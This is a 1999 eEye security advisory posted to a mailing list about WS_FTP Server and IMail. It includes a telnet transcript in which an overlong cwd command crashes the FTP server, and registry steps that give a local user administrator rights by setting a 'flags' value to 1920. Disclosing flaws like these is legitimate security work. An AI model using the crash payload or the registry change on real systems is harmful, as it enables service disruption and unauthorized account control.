WS FTP Server Advisory

From: Marc (marcat_private)
Date: Tue Feb 02 1999 - 13:09:21 PST

  • Next message: Charles M. Richmond: "Digital Unix and nmh/inc"

    ________________________________________________________________________
    
    eEye Digital Security Team <e>
    www.eEye.com
    infoat_private
    February 02, 1999
    ________________________________________________________________________
    
    WS_FTP Server Remote DoS Attack
    
    Systems Affected
    WS_FTP Server Version 1.0.1.E/1.0.2.E
    
    Release Date
    February 02, 1999
    
    Advisory Code
    AD02021999
    ________________________________________________________________________
    
    Description:
    ________________________________________________________________________
    
    While running Retina against more server applications we found WS_FTP
    Server to stop responding to our scans. The following is our findings.
    
    WS_FTP Server can not handle a cwd command with a string longer then 876
    characters appended to it.
    
    telnet server.com 21
    220-SERV X2 WS_FTP Server 1.0.2.EVAL (728964122)
    220-Sat Jan 30 15:25:10 1999
    220-30 days remaining on evaluation.
    220 SERV X2 WS_FTP Server 1.0.2.EVAL (728964122)
    user ftp
    331 Password required
    pass ftp
    230 user logged in
    cwd AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAA
    Connection to host lost.
    
    The iFtpSvc.exe (Server Exe) process has now exited and therefore the
    WS_FTP Server will no longer respond. There is no error displayed on
    screen nor is the event log written to. The smallest amount of characters
    needed it 876. So sending "cwd b" where b > 875 will crash the remote
    server.
    
    Also, WS_FTP Server and IMail do not store user database information
    "securely." Some might think the following is not a hole nor a problem. I
    guess it depends on how much security matters.
    
    WS_FTP Server and IMail (IPSwitch.com) both store user information in
    the registry insecurely making it easy for a local attack in which any
    user can gain IMail / WS_FTP Server administrator permissions. We will
    take a look at the IMail registry settings. WS_FTP Server works in the
    same basic manor.
    
    Each user profile is stored in the following key.
    HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\HASTE\Users\Marc
    Where Marc is the name of the user account and HASTE is the name of the
    machine. The security permissions on the key are:
    Query Value
    Set Value
    Create Subkey
    Enumerate Subkeys
    Notify
    Delete
    Read Control
    
    There is a section in the key called "flags." This is the section that
    holds the rights of the user. When the key is set to "1920" you will have
    Administrator Access to IMail. So to sum it all up we do the following.
    We change the flags key to equal 1920 and then we use the IMail Web
    Administration Interface to do anything to any IMail user. I.E. Create
    accounts, delete accounts, etc..
    
    The reason we said this might not matter to some people is because it
    is a local attack. When we tried to talk to IPSwitch about the problem
    they did not seem to care about it much saying that "If someone has local
    access they can do a lot more then just play with IMail." This is true.
    However, what if we do not want to do more and we simply want to read
    someone's eMail? or create an account on the system etc.. So yes people
    could do a lot worse things to the system if they have local access but,
    NT is growing closer and closer to the point were we will have a standard
    "unix like way" to access NT systems remotely as if we are sitting at the
    console. Vendors need to start looking at how their server programs stand
    up to local attacks. As most know, NT server applications do not even
    understand what local security is. This last part has turned into a bit
    of a rant but we think its something vendors need to address. The day
    will come and they are not prepared for it.
    ________________________________________________________________________
    
    Vendor Status
    ________________________________________________________________________
    
    We contacted IPSWITCH and after been given the run around we finally were
    told, a day later, that they have had a version with this hole fixed but
    have not released it yet. We asked for a URL or some way for users to get
    the new update/patch and were given no answer. So now almost a week and a
    half later we have given up on them. If you would like a patch or
    information on how to fix this hole we suggest contacting IPSwitch.
    ________________________________________________________________________
    
    Copyright (c) 1999 eEye Digital Security Team
    ________________________________________________________________________
    
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    ________________________________________________________________________
    
    Disclaimer:
    ________________________________________________________________________
    
    The information within this paper may change without notice. Use of this
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    Please send suggestions, updates, and comments to:
    eEye Digital Security Team
    http://www.eEye.com
    infoat_private
    



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